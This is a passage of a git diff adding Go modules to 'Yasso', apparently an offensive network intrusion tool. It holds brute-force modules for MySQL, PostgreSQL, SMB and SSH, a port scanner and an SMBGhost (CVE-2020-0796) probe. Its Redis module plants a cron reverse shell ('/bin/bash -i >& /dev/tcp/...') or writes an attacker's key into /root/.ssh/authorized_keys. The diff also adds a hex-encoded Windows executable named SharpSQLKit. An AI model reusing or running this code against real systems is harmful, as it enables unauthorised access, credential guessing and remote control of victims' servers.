func(ctx context.Context,network string) (net.Conn, error) { + return GetConn(network,info.TimeOut) + }) + + db, err := sql.Open("mysql",address) + if err == nil { + db.SetConnMaxLifetime(time.Duration(info.TimeOut)) + db.SetConnMaxIdleTime(time.Duration(info.TimeOut)) + //defer db.Close() + err = db.Ping() + if err == nil { + flag = true + } + } + return db,flag,err +} diff --git a/cmd/postgres.go b/cmd/postgres.go new file mode 100644 index 0000000..9bf0443 --- /dev/null +++ b/cmd/postgres.go @@ -0,0 +1,62 @@ +package cmd + +import ( + "Yasso/config" + "database/sql" + "fmt" + _ "github.com/lib/pq" + "github.com/spf13/cobra" + "time" +) + +var PostgreCmd = &cobra.Command{ + Use: "postgres", + Short: "PostgreSQL burst module (not support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == ""{ + _ = cmd.Help() + }else{ + BrutePostgreByUser() + } + }, +} + +func BrutePostgreByUser(){ + if BrutePort == 0 { + BrutePort = 5432 + } + var ips []string + var err error + if Hosts != ""{ + ips,err = ResolveIPS(Hosts) + if err != nil { + Println(fmt.Sprintf("resolve hosts address failed %v",err)) + return + } + if BruteFlag == true { + users,pass := ReadTextToDic("postgres",UserDic,PassDic) + Println(Clearln+"[*] Brute Module [postgres]") + Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) + SwitchBurp("postgres",users,pass,ips,BrutePort,Runtime,TimeDuration,"") + }else{ + Println(Clearln + "[*] May be you want to brute? try to add --crack") + } + } +} + + + + +func PostgreConn(info config.HostIn,user,pass string)(bool, error){ + var flag = false + db, err := sql.Open("postgres",fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v",user,pass,info.Host,info.Port,"postgres","disable")) + if err == nil { + db.SetConnMaxLifetime(time.Duration(info.TimeOut)) + defer db.Close() + err = db.Ping() + if err == nil { + flag = true + } + } + return flag,err +} \ No newline at end of file diff --git a/cmd/ps.go b/cmd/ps.go new file mode 100644 index 0000000..4081e49 --- /dev/null +++ b/cmd/ps.go @@ -0,0 +1,144 @@ +package cmd + +import ( + "fmt" + "github.com/panjf2000/ants/v2" + "github.com/spf13/cobra" + "math" + "net" + "sync" + "time" +) +var ( + DefaultPorts = "21,22,80,81,135,139,443,445,1433,3306,5432,5985,6379,7001,3389,8000,8080,8089,9000,9200,11211,27017" + //AlivePort []PortResult +) + +type PortResult struct { + IP string + Port []int +} + +var PortCmd = &cobra.Command{ + Use: "ps", + Short: "The port scanning module will find vulnerable ports (not support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == "" { + _ = cmd.Help() + return + } + var ports []int + hosts ,_ := ResolveIPS(Hosts) // 解析获取ip地址 + if Ports != "" { + ports, _ = ResolvePORTS(Ports) + }else{ + ports ,_ = ResolvePORTS(DefaultPorts) + } + Println(fmt.Sprintf("Yasso resolve host len is %v,need scan %v port",len(hosts),len(hosts) * len(ports))) + if len(hosts) <= 0 || len(ports) <= 0 { + // resolve failed + return + } + var AlivePort []PortResult + AlivePort = PortScan(hosts,ports) + for _,rs := range AlivePort { + Println(fmt.Sprintf("%v %v",rs.IP,rs.Port)) + } + }, +} + +func init(){ + PortCmd.Flags().DurationVarP(&TimeDuration,"time","t",500 * time.Millisecond,"Set timeout (eg.) -t 50ms(ns,ms,s,m,h)") + PortCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)") + PortCmd.Flags().StringVarP(&Ports,"ports","p","","Set `ports`(The format is similar to Nmap)(eg.) 1-2000,3389") + PortCmd.Flags().IntVarP(&Runtime,"runtime","r",100,"Set scanner ants pool thread") + rootCmd.AddCommand(PortCmd) +} +// port scanner + +func PortScan(host []string,ports []int) []PortResult{ + var tempPort []PortResult + var wg sync.WaitGroup + go func() { + for _,ip := range host{ + tunnel <- ip + } + }() + for i:=0;i 2 { + dbfilename = text1[len(text1)-2] + }else{ + dbfilename = text1[0] + } + + var redisConfig = RedisConfig{ + Version: version, + OS: os, + PID: pid, + ConfigPath: install, + DbFileName: dbfilename, + } + //Println()(redisConfig) + return redisConfig +} + +// 测试利用写入是否可用 + +func RedisWrite(conn net.Conn)(cron bool,ssh bool,err error){ + var reply string + _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) // 测试公钥写入 + if err != nil { + return false,false,err + } + reply, err = RedisReply(conn) + if err != nil { + return false, false, err + } + if strings.Contains(reply,"OK") { + ssh = true + } + _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) // 测试定时计划写入 + if err != nil { + return false,ssh,err + } + reply, err = RedisReply(conn) + if err != nil { + return false, ssh, err + } + if strings.Contains(reply,"OK") { + cron = true + } + return cron,ssh,nil +} + +// 计划任务写入 + + + +func RedisExploit(conn net.Conn,RemoteHost string,Filename string){ + // 测试写入 + cron,ssh,err := RedisWrite(conn) + // 上述返回3个值,返回c,s,e,c是corn的值,s是ssh写入,e是err + if err != nil { + Println(fmt.Sprintf("Redis Write Testing failed %v",err)) + return + } + var ( + status bool + ) + if RemoteHost != "" && cron == true { + status,err = RedisCron(conn,RemoteHost) + if status == true { + Println("[+] Write Rebound shell address Success") + return + }else{ + Println("[x] Redis Write Rebound shell address failed") + return + } + } + if Filename != "" && ssh == true { + status, err = RedisKey(conn,Filename) + if status == true { + Println("[+] Write ssh key Success") + return + }else{ + Println("[x] Redis ssh key failed") + return + } + } +} + + +func RedisCron(conn net.Conn,RemoteHost string) (bool ,error){ + c,s, e := RedisWrite(conn) + Println(fmt.Sprintf("%v %v %v",c,s,e)) + // 先解析RemoteHost参数 + var ( + remote = strings.Split(RemoteHost, ":") + flag = false + reply string + host string + port string + ) + if len(remote) == 2 { + host , port = remote[0],remote[1] + }else{ + return false,errors.New("remote host address is not like 192.160.1.1:4444") + } + _, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) + if err != nil { + return false,err + } + reply, err = RedisReply(conn) + if err != nil { + return false,err + } + if strings.Contains(reply,"+OK") { // redis可写定时计划任务 + // 存在定时计划写入 + _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n"))) + if err != nil{ + return false,err + } + reply, err = RedisReply(conn) + if err != nil { + return false,err + } + // 数据库设置成功 + if strings.Contains(reply,"+OK") { + // 写入定时计划任务 + _, err = conn.Write([]byte(fmt.Sprintf("set corn \"\\n*/1 * * * * /bin/bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",host,port))) + if err != nil { + return false,err + } + reply , err = RedisReply(conn) + if err != nil { + return false,err + } + if strings.Contains(reply,"+OK") { + _, err = conn.Write([]byte(fmt.Sprintf("save\r\n"))) + if err != nil { + return false,err + } + reply , err = RedisReply(conn) + if err != nil { + return false,err + } + if strings.Contains(reply,"OK") { + flag = true + } + } + } + } + return flag,nil +} +// 公钥写入 + +func RedisKey(conn net.Conn,filename string)(bool,error){ + var flag = false + _, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) + if err != nil { + return false,err + } + reply, err := RedisReply(conn) + if err != nil { + return false, err + } + if strings.Contains(reply,"OK"){ + _, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n"))) + if err != nil { + return false,err + } + reply, err := RedisReply(conn) + if err != nil { + return false,err + } + if strings.Contains(reply,"OK"){ + key, err := ReadKeyFile(filename) + if err != nil { + return false,err + } + if len(key) == 0 { + return false,errors.New(fmt.Sprintf("the keyfile %s is empty", filename)) + } + _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))) + if err != nil { + return false,err + } + reply, err = RedisReply(conn) + if err != nil { + return false,err + } + if strings.Contains(reply,"OK"){ + // 保存 + _, err = conn.Write([]byte(fmt.Sprintf("save\r\n"))) + if err != nil { + return false,err + } + reply, err = RedisReply(conn) + if err != nil { + return false,err + } + if strings.Contains(reply,"OK"){ + flag = true + } + } + } + } + return flag,nil +} + + +func ReadKeyFile(filename string) (string, error) { + file, err := os.Open(filename) + if err != nil { + return "", err + } + defer file.Close() + scanner := bufio.NewScanner(file) + for scanner.Scan() { + text := strings.TrimSpace(scanner.Text()) + if text != "" { + return text, nil + } + } + return "", err +} \ No newline at end of file diff --git a/cmd/resolve.go b/cmd/resolve.go new file mode 100644 index 0000000..3b22b92 --- /dev/null +++ b/cmd/resolve.go @@ -0,0 +1,158 @@ +package cmd + +import ( + "errors" + "net" + "regexp" + "strconv" + "strings" +) + +func ResolveIPS(ip string)([]string,error){ + reg := regexp.MustCompile(`[a-zA-Z]+`) + switch { + case strings.Contains(ip,"/"): + return resolveIP(ip) + case strings.Count(ip,"-") == 1: + return resolveIPC(ip) + case reg.MatchString(ip): + _, err := net.LookupHost(ip) + if err != nil { + return []string{},err + } + return []string{ip},nil + default: + var isip = net.ParseIP(ip) + if isip == nil { + return []string{},errors.New("input format is not ccorrect") + } + return []string{ip},nil + } +} + +// 解析192.168.1.1/*的格式 + +func resolveIP(ip string)([]string, error){ + var ip4 = net.ParseIP(strings.Split(ip,"/")[0]) // [192.168.1.1 *] + if ip4 == nil { + return []string{},errors.New("not an ipv4 address") + } + var footmark = strings.Split(ip,"/")[1] // * + var temp []string + var err error + switch footmark { + case "24": + var ip3 = strings.Join(strings.Split(ip[:len(ip)],".")[0:3],".") + for i:=0;i<=255;i++{ + temp = append(temp,ip3+"."+strconv.Itoa(i)) + } + err = nil + case "16": + var ip2 = strings.Join(strings.Split(ip[:len(ip)],".")[0:2],".") + for i:=0;i<=255;i++{ + for j:=0;j<=255;j++{ + temp = append(temp,ip2+"."+strconv.Itoa(i)+"."+strconv.Itoa(j)) + } + } + err = nil + default: + temp = []string{} + err = errors.New("not currently supported") + } + return temp,err +} + +// 解析192.168.1.1-*格式 + +func resolveIPC(ip string)([]string, error){ + var ip4 = strings.Split(ip,"-") + var ipA = net.ParseIP(ip4[0]) + if ip4 == nil { + return []string{},errors.New("not an ipv4 address") + } + var temp []string + if len(ip4[1]) < 4 { + iprange, err := strconv.Atoi(ip4[1]) + if ipA == nil || iprange > 255 || err != nil { + return []string{},errors.New("input format is not ccorrect") + } + var splitip = strings.Split(ip4[0],".") + ip1, err1 := strconv.Atoi(splitip[3]) + ip2, err2 := strconv.Atoi(ip4[1]) + prefixip := strings.Join(splitip[0:3],".") + if ip1 > ip2 || err1 != nil || err2 != nil { + return []string{},errors.New("input format is not ccorrect") + } + for i:=ip1;i<=ip2;i++{ + temp = append(temp,prefixip + "." + strconv.Itoa(i)) + } + }else{ + var splitip1 = strings.Split(ip4[0],".") + var splitip2 = strings.Split(ip4[1],".") + if len(splitip1) != 4 || len(splitip2) != 4 { + return []string{},errors.New("input format is not ccorrect") + } + start, end := [4]int{},[4]int{} + for i:= 0;i < 4 ;i++{ + ip1, err1 := strconv.Atoi(splitip1[i]) + ip2, err2 := strconv.Atoi(splitip2[i]) + if ip1 > ip2 || err1 != nil || err2 != nil { + return []string{},errors.New("input format is not ccorrect") + } + start[i],end[i] = ip1,ip2 + } + startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3] + endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3] + for num := startNum; num <= endNum; num++ { + ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff) + temp = append(temp, ip) + } + } + return temp,nil +} + +func RemoveDuplicate(old []int) []int { + result := make([]int, 0, len(old)) + temp := map[int]struct{}{} + for _, item := range old { + if _, ok := temp[item]; !ok { + temp[item] = struct{}{} + result = append(result, item) + } + } + return result +} + + +// 解析为445,69,72-15这种以逗号隔开的端口 + +func ResolvePORTS(ports string)([]int,error){ + var scanPorts []int + slices := strings.Split(ports, ",") + for _, port := range slices { + port = strings.Trim(port, " ") + upper := port + if strings.Contains(port, "-") { + ranges := strings.Split(port, "-") + if len(ranges) < 2 { + continue + } + startPort, _ := strconv.Atoi(ranges[0]) + endPort, _ := strconv.Atoi(ranges[1]) + if startPort < endPort { + port = ranges[0] + upper = ranges[1] + } else { + port = ranges[1] + upper = ranges[0] + } + } + start, _ := strconv.Atoi(port) + end, _ := strconv.Atoi(upper) + for i := start; i <= end; i++ { + scanPorts = append(scanPorts, i) + } + } + scanPorts = RemoveDuplicate(scanPorts) + return scanPorts,nil +} diff --git a/cmd/root.go b/cmd/root.go new file mode 100644 index 0000000..eef9bf7 --- /dev/null +++ b/cmd/root.go @@ -0,0 +1,44 @@ +package cmd + +import ( + "fmt" + "github.com/spf13/cobra" + "os" + "time" +) +var ( + TimeDuration time.Duration // 超时时间 + Hosts string // 全局host变量 + RunICMP bool // 是否执行ICMP + Ports string // 需要解析的端口 + Runtime int // 运行的线程 + LogBool bool // 是否使用日志 + PingBool bool // 是否执行ping操作 + UserDic string // 爆破的用户名路径 + PassDic string // 爆破的密码路径 + BruteFlag bool // 是否进行爆破 + ConnHost string // 单独变量的链接地址 + BrutePort int // 爆破使用的端口 + LoginUser string // 登陆使用的用户 + LoginPass string // 登陆使用的密码 + LoginPublicKey string // 登陆使用的公钥路径 + ProxyHost string // 代理地址 user:pass@ip:port 格式 + SQLShellBool bool // 是否启动sql—shell + SQLCommand string // sql语句单条命令行 + WinRMbool bool // winrm shell +) + + +var rootCmd = &cobra.Command{ + Use: "Yasso", + Short: "\n __ __ ______ ______ ______ ______ \n/\\ \\_\\ \\ /\\ __ \\ /\\ ___\\ /\\ ___\\ /\\ __ \\ \n\\ \\____ \\ \\ \\ __ \\ \\ \\___ \\ \\ \\___ \\ \\ \\ \\/\\ \\ \n \\/\\_____\\ \\ \\_\\ \\_\\ \\/\\_____\\ \\/\\_____\\ \\ \\_____\\ \n \\/_____/ \\/_/\\/_/ \\/_____/ \\/_____/ \\/_____/ \n \n", +} + +func Execute(){ + if err := rootCmd.Execute();err != nil { + Println(fmt.Sprintf("%v",err)) + os.Exit(1) + } +} + + diff --git a/cmd/smb.go b/cmd/smb.go new file mode 100644 index 0000000..5bce8c8 --- /dev/null +++ b/cmd/smb.go @@ -0,0 +1,92 @@ +package cmd + +import ( + "Yasso/config" + "errors" + "fmt" + "github.com/spf13/cobra" + "github.com/stacktitan/smb/smb" + "time" +) + + +/* +模块完成时间2021年12月28日,主要用于smb爆破,扫描445端口,似乎不能走socks5代理 +*/ + + +var SmbCmd = &cobra.Command{ + Use: "smb", + Short: "Smb burst module (not support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == ""{ + _ = cmd.Help() + }else{ + BruteSmbByUser() + } + }, +} + +func BruteSmbByUser(){ + if BrutePort == 0 { + BrutePort = 445 + } + var ips []string + var err error + if Hosts != ""{ + ips,err = ResolveIPS(Hosts) + if err != nil { + Println(fmt.Sprintf("resolve hosts address failed %v",err)) + return + } + if BruteFlag == true { + users,pass := ReadTextToDic("smb",UserDic,PassDic) + Println(Clearln+"[*] Brute Module [smb]") + Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) + SwitchBurp("smb",users,pass,ips,BrutePort,Runtime,TimeDuration,"") + }else{ + Println(Clearln + "[*] May be you want to brute? try to add --crack") + } + } +} + + +func SmbConn(info config.HostIn,user,pass string)(bool,error){ + signal := make(chan struct{}) + var ( + flag bool + err error + ) + go func() { + flag, err = DialSmbTimeOut(info,user,pass,signal) + }() + select { + case <- signal: + return flag,err + case <-time.After(1 * time.Second): + return false,errors.New("smb conn time out") + } +} + + + +func DialSmbTimeOut(info config.HostIn,user,pass string,signal chan struct{}) (bool, error){ + var flag = false + options := smb.Options{ + Host: info.Host, + Port: 445, + User: user, + Password: pass, + Domain: info.Domain, + Workstation: "", + } + session, err := smb.NewSession(options,false) + if err == nil { + session.Close() + if session.IsAuthenticated { + flag = true + } + } + signal <- struct{}{} + return flag,err +} diff --git a/cmd/smbghost.go b/cmd/smbghost.go new file mode 100644 index 0000000..6a8dc53 --- /dev/null +++ b/cmd/smbghost.go @@ -0,0 +1,120 @@ +package cmd + +import ( + "Yasso/config" + "bytes" + "fmt" + "time" +) + +const ( + pkt = + "\x00" + // session + "\x00\x00\xc0"+ // legth + + "\xfeSMB@\x00"+ // protocol + + //[MS-SMB2]: SMB2 NEGOTIATE Request + //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5 + + "\x00\x00" + + "\x00\x00" + + "\x00\x00" + + "\x00\x00" + + "\x1f\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + + // [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT + // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7 + + "$\x00" + + "\x08\x00" + + "\x01\x00" + + "\x00\x00" + + "\x7f\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "x\x00" + + "\x00\x00" + + "\x02\x00" + + "\x00\x00" + + "\x02\x02" + + "\x10\x02" + + "\x22\x02" + + "$\x02" + + "\x00\x03" + + "\x02\x03" + + "\x10\x03" + + "\x11\x03" + + "\x00\x00\x00\x00" + + + + // [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES + // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5 + + "\x01\x00" + + "&\x00" + + "\x00\x00\x00\x00" + + "\x01\x00" + + "\x20\x00" + + "\x01\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00" + + + // [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES + // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271 + + "\x03\x00" + + "\x0e\x00" + + "\x00\x00\x00\x00" + + "\x01\x00" + //CompressionAlgorithmCount + "\x00\x00" + + "\x01\x00\x00\x00" + + "\x01\x00" + //LZNT1 + "\x00\x00" + + "\x00\x00\x00\x00" +) + +func SmbGhostConn(info config.HostIn) bool { + conn, err := GetConn(fmt.Sprintf("%s:%v",info.Host,info.Port),info.TimeOut) + if err != nil { + return false + }else{ + defer conn.Close() + conn.Write([]byte(pkt)) + buff := make([]byte, 1024) + err = conn.SetReadDeadline(time.Now().Add(2 * time.Second)) + n, err := conn.Read(buff) + if err != nil { + //Println(err.Error()) // Profound analysis + } + + if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true { + Println(fmt.Sprintf("[+] %s Find CVE-2020-0796",info.Host)) + return true + } else { + //Println(ip + " Not Vulnerable") + return false + } + } +} \ No newline at end of file diff --git a/cmd/ssh.go b/cmd/ssh.go new file mode 100644 index 0000000..dc10fdf --- /dev/null +++ b/cmd/ssh.go @@ -0,0 +1,198 @@ +package cmd + +import ( + "Yasso/config" + "fmt" + "github.com/spf13/cobra" + "golang.org/x/crypto/ssh" + "golang.org/x/crypto/ssh/terminal" + "io/ioutil" + "os" + "path" +) + +/* +模块完成时间2021年12月28日,主要用于ssh爆破,连接,扫描22端口 +*/ + +var SshCmd = &cobra.Command{ + Use: "ssh", + Short: "SSH burst and SSH extend tools (support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == "" && ConnHost == "" { + _ = cmd.Help() + }else{ + BruteSshByUser() + } + }, +} + +func init(){ + SshCmd.Flags().StringVar(&ConnHost,"hostname","","Open an interactive SSH at that address(brute param need false)") + SshCmd.Flags().StringVar(&LoginUser,"user","","Login ssh username") + SshCmd.Flags().StringVar(&LoginPass,"pass","","Login ssh password") + SshCmd.Flags().StringVar(&LoginPublicKey,"key","","ssh public key path") +} + + + +func BruteSshByUser() { + if BrutePort == 0 { + BrutePort = 22 + } + var ips []string + var err error + if Hosts != "" && ConnHost == ""{ + ips,err = ResolveIPS(Hosts) + if err != nil { + Println(fmt.Sprintf("resolve hosts address failed %v",err)) + return + } + if BruteFlag == true { + users,pass := ReadTextToDic("ssh",UserDic,PassDic) + Println(Clearln+"[*] Brute Module [ssh]") + Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) + SwitchBurp("ssh",users,pass,ips,BrutePort,Runtime,TimeDuration,"") + }else{ + Println(Clearln + "[*] May be you want to brute? try to add --crack") + } + } + if ConnHost != "" && Hosts == "" && (LoginUser != "" && (LoginPass != "" || LoginPublicKey != "")) && BruteFlag != true { + if LoginUser != "" && LoginPass != "" { + client,status,err := SshConnByUser(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},LoginUser,LoginPass) + if err != nil { + Println(fmt.Sprintf(Clearln + "[-] Login ssh failed %v",err)) + return + } + if status == true { + //认证成功 + SshLogin(client) + }else { + Println(Clearln + "[-] The username or password is incorrect") + return + } + } + if LoginPublicKey != "" && LoginUser != "" { + client,status, err := sshConnByKey(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration,PublicKey: LoginPublicKey},LoginUser) + if err != nil { + Println(fmt.Sprintf(Clearln + "[-] Login ssh failed %v",err)) + return + } + if status == true { + //认证成功 + SshLogin(client) + return + }else { + Println(Clearln + "[-] The username or password is incorrect") + return + } + } + } + if Hosts == "" && ConnHost != "" && BruteFlag == false && (LoginUser == "" || LoginPublicKey == ""){ + Println(Clearln + "[*] May be you want login ssh? try to add user and (user' key) or (user' pass)") + return + } +} + +func SshConnByUser(info config.HostIn,user,pass string)(*ssh.Client,bool,error){ + // 走socks5代理的ssh连接 + sshConfig := &ssh.ClientConfig{User: user,Auth: []ssh.AuthMethod{ssh.Password(pass)},HostKeyCallback: ssh.InsecureIgnoreHostKey(),Timeout:info.TimeOut} + con, err := GetConn(fmt.Sprintf("%v:%v",info.Host,info.Port),info.TimeOut) + if err != nil { + return nil,false,err + } + c,ch,re,err := ssh.NewClientConn(con,fmt.Sprintf("%v:%v",info.Host,info.Port),sshConfig) + if err != nil { + return nil,false,err + } + return ssh.NewClient(c,ch,re),true,err +} + +func sshConnByKey(info config.HostIn,user string)(*ssh.Client,bool,error){ + var ( + err error + HomePath string + key []byte + ) + switch { + case info.PublicKey == "": + HomePath, err = os.UserHomeDir() + if err != nil { + return nil,false,err + } + key, err = ioutil.ReadFile(path.Join(HomePath,".ssh","id_rsa")) + if err != nil { + return nil,false,err + } + case info.PublicKey != "": + key, err = ioutil.ReadFile(info.PublicKey) + if err != nil { + return nil,false,err + } + } + signer, err := ssh.ParsePrivateKey(key) + if err != nil { + return nil,false,err + } + sshConfig := &ssh.ClientConfig{ + User: user, + Auth:[]ssh.AuthMethod{ + ssh.PublicKeys(signer), + }, + Timeout: info.TimeOut, + HostKeyCallback: ssh.InsecureIgnoreHostKey(), + } + con, err := GetConn(fmt.Sprintf("%v:%v",info.Host,info.Port),info.TimeOut) + if err != nil { + return nil,false,err + } + + c,ch,re,err := ssh.NewClientConn(con,fmt.Sprintf("%v:%v",info.Host,info.Port),sshConfig) + if err != nil { + return nil,false,err + } + return ssh.NewClient(c,ch,re),true,err +} + + +// ssh 完全交互式登陆 + +func SshLogin(client *ssh.Client) { + defer client.Close() + session, err := client.NewSession() + if err != nil { + Println(fmt.Sprintf("new ssh session failed %v",err)) + return + } + defer session.Close() + session.Stdout = os.Stdout + session.Stderr = os.Stderr + session.Stdin = os.Stdin + modes := ssh.TerminalModes{ + ssh.ECHO: 1, + ssh.TTY_OP_ISPEED: 14400, + ssh.TTY_OP_OSPEED: 14400, + ssh.VSTATUS: 1, + } + fd := int(os.Stdin.Fd()) + oldState, err := terminal.MakeRaw(fd) + if err != nil { + Println(fmt.Sprintf("terminal failed %v",err)) + } + defer terminal.Restore(fd,oldState) + w,h ,err := terminal.GetSize(fd) + if err = session.RequestPty("xterm-256color",h,w,modes);err != nil { + Println(fmt.Sprintf("Session Request new xterm failed %v",err)) + return + } + if err = session.Shell(); err != nil { + Println(fmt.Sprintf("Session start shell failed %v",err)) + return + } + if err = session.Wait();err != nil { + Println(fmt.Sprintf("Session wait failed %v",err)) + return + } +} + + diff --git a/cmd/static/SharpSQLKit.txt b/cmd/static/SharpSQLKit.txt new file mode 100644 index 0000000..6aa9d5c --- /dev/null +++ b/cmd/static/SharpSQLKit.txt @@ -0,0 +1 @@ +4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103009CD90B610000000000000000E00002210B010B0000D0010000060000000000004EEE010000200000000002000000001000200000000200000400000000000000040000000000000000400200000200000000000003004085000010000010000000001000001000000000000010000000000000000000000000EE01004B00000000000200B002000000000000000000000000000000000000002002000C000000C8EC01001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000054CE01000020000000D0010000020000000000000000000000000000200000602E72737263000000B0020000000002000004000000D20100000000000000000000000000400000402E72656C6F6300000C000000002002000002000000D60100000000000000000000000000400000420000000000000000000000000000000030EE0100000000004800000002000500B8CB0000102101000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000133004006D000000010000111200FE15040000021200047D020000041200057D030000041200177D050000041200147D0600000412000E047D070000041200147D090000040317120016280100000616FE0116FE010B072C10280900000A72010000706F0A00000A2A280900000A722D0000706F0A00000A2A0000001330050045000000020000111200FE15030000021200057D01000004030419120017280200000616FE0116FE010B072C10280900000A725D0000706F0A00000A2A280900000A72990000706F0A00000A2A1E02280B00000A2A00000013300500200000000300001173050000060A72D90000700B06140203146F03000006061407026F040000062A1E02280B00000A2A1B300400A50000000400001102280D00000A74240000010A066F0E00000A74260000010B076F0F00000A0C0318731000000A0D20000400008D2A00000113040811041611048E696F1100000A13052B1A0911041611056F1200000A0811041611048E696F1100000A130511051630E1096F1300000A086F1300000A076F1400000A066F1500000A171307DE221306280900000A72F700007011066F1600000A281700000A6F0A00000A161307DE0011072A0000000110000000000000808000222C000001A6020328080000062C10280900000A72150100706F0A00000A2A280900000A723F0100706F0A00000A2A1E02280B00000A2A0000133002001900000005000011281800000A0A06731900000A0B0720200200006F1A00000A2A0000001B3004007E0000000600001103281B00000A2C1B280900000A726301007003281C00000A6F0A00000A03281D00000A02281E00000A0A0317731000000A0B071716731F00000A0C080616068E696F1200000ADE0A082C06086F2000000ADCDE0A072C06076F2000000ADCDE1D0D280900000A72C1010070096F2100000A281C00000A6F0A00000ADE002A00000128000002003B000D48000A00000000020032002254000A00000000000000006060001D2C0000011B3007004F02000007000011150A7E2200000A0B160C140D061533137215020070282300000A13041104169A0D2B2806282400000A0DDE1F1305280900000A722102007011056F2100000A281C00000A6F0A00000ADE28096F2500000A7215020070282600000A2C17280C0000062D10280900000A72490200706F0A00000A2A096F2700000A0C096F2800000A0BDE301306280900000A72AB020070096F2500000A096F2700000A8C3400000111066F2100000A282900000A6F0A00000ADEBF161307720503007002088C35000001282A00000A1308722703007002088C35000001282A00000A1309280900000A7249030070096F2500000A096F2700000A8C340000011108282900000A6F0A00000A1108181918732B00000A130A0708110A6F2C00000A187E2200000A7E2200000A7E2200000A280B0000061307DE0C110A2C07110A6F2000000ADC110739EE000000280900000A72850300706F0A00000A280900000A72AF03007011081109282A00000A6F0A00000A11081109280D000006280900000A72FB0300701108281C00000A6F0A00000A1108281D00000A280900000A721D040070088C35000001281C00000A6F0A00000A72A6040070282D00000A130B72D4040070130C7E2E00000A72D60400706F2F00000A130D110D2C187230050070110D72380500706F3000000A281C00000A130C0615335E280900000A7250050070110C281C00000A6F0A00000A280900000A7288050070110B281C00000A6F0A00000A280900000A72BE050070110B281C00000A6F0A00000A2A280900000A727706007011078C3C000001281C00000A6F0A00000A2A000128000000002300092C001F2C00000100007400108400302C000001020010012232010C000000009602283100000A2D16280900000A72A106007002281C00000A6F0A00000A2A02280E0000062A1E02280B00000A2A000013300400F3040000080000110272F50600706F3300000A2C4402178D3F00000113231123161F209D11236F3400000A0A7211070070282D00000A0B722707007007281C00000A0C068E6917330708280F0000062A06179A280F0000062A02723B0700706F3300000A2C06285C0000062A02724B0700706F3300000A2C3102178D3F00000113241124161F209D11246F3400000A0D098E6917330B72D404007028630000062A09179A28630000062A0272590700706F3300000A2C2202178D3F00000113251125161F209D11256F3400000A13041104179A285D0000062A0272670700706F3300000A2C2202178D3F00000113261126161F209D11266F3400000A13051105179A28650000062A0272790700706F3300000A2C2202178D3F00000113271127161F209D11276F3400000A13061106179A285B0000062A0272870700706F3300000A2C2202178D3F00000113281128161F209D11286F3400000A13071107179A285F0000062A0272970700706F3300000A2C0628600000062A0272A50700706F3300000A2C0628660000062A0272BD0700706F3300000A2C0628210000062A0272D10700706F3300000A2C0628240000062A0272E10700706F3300000A2C2E02178D3F00000113291129161F209D11296F3400000A13081108179A13091108189A130A1109110A28060000062A0272F90700706F3300000A2C1A02720908007072D40400706F3500000A130B110B28260000062A02721B0800706F3300000A398D0